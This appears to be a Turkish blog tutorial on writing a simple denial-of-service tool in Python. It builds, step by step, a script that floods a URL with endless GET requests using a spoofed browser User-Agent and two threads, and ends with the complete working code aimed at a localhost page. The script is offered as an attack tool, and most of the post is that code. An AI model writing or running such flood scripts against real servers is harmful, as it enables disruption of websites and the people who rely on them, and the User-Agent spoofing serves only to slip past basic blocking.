Python ile DoS Aracı Nasıl Yazılır ?
Python ile GET ve POST isteklerini requests gibi modüllerle kolaylıkla atabiliyoruz bu konumuzda basit bir Dos DDoS aracı nasıl yazılır mantığı nedir onu göstereceğiz.
Mantık:
Genel mantığımız hedefe sürekli bir GET isteği atmak olacak fakat düz bir GET isteği her zaman kabul edilmeyebilir birçok site User-Agent’ı olmayan bağlantıları kabul etmez. Bu nedenle User-Agent gibi gerekli şeyleri de programımıza eklemeliyiz.
Gerekli ayarlarımızı yaptıktan sonra programımızı bir döngüye alıp çalıştıracağız.
User Agent Ayarları:
User Agent Kullanıcı Ajanı manasına gelir. Tarayıcı kullanan herkesin tarayıcısına göre bir user agent değeri vardır. Bunu öğrenmek için google arama çubuğuna “whats my user agent” yazabilirsiniz.

Böylelikle user agent değerinizi görmüş oldunuz.
Peki ne işimize yarayacak ?
Az önce bahsettiğim gibi birçok site user agentınız yoksa işlem yapmayabilir.
Bu nedenle ilk öncelikle bir user agent tanımlamalıyız. Requests modülü ile düz istek atarken bize python-requests/2.22.0
gibi user agentler tanımlar fakat bunları bir çok site engellemektedir.
Requests modülünde user agent tanımlaması:
headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}
İstek attığımız kodun sonuna sadece headers=headers
ekliyoruz.
r=requests.get("http://127.0.0.1/ddos.php",headers=headers)
Böylelikle User-Agent tanımladık.
While döngüsüne alıp isteğimizi atabiliriz.
import requests
headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}
while True:
r=requests.get("http://127.0.0.1/ddos.php",headers=headers)
print(r.status_code)#bağlantının başarılı olup olmadığını gördük.
Evet fakat bu biraz yetersiz kalıyor isterseniz multi threading ile işlemleri daha da güçlendirelim.
Multi Threading nedir derseniz Çoklu kullanım anlamın geliyor işlemleri aynı anda yapmamızı sağlamakta.
from threading import Thread
kodu ile threading modülünü import ediyoruz.
Threading modülünü kullanabilmek için def()
fonksiyonunu kullanmalıyız.

def d1() diyerek d1 adında fonksiyon tanımlıyoruz.
import requests
from threading import Thread
headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}
def d1():
while True:
r=requests.get("http://127.0.0.1/ddos.php",headers=headers)
print(r.status_code)
Şimdi bu güzel kodumuza Threading modülünü tanımlayalım.

t1=Thread(target = d1)
t2=Thread(target = d1)
t1.start()
t2.start()
Burada tanımlamalarımızı yapıp çalıştırdık.
Programımızı çalıştıralım.

Çıktılar 200 yani bağlantı başarılı. Bu basit bir araç.
Tüm kod:
import requests
#secure.web.tr
from threading import Thread
headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}
def d1():
while True:
r=requests.get("http://127.0.0.1/ddos.php",headers=headers)
print(r.status_code)
t1=Thread(target = d1)
t2=Thread(target = d1)
#www.secure.web.tr
t1.start()
t2.start()
Okuduğunuz için teşekkürler.
Yorumlar 1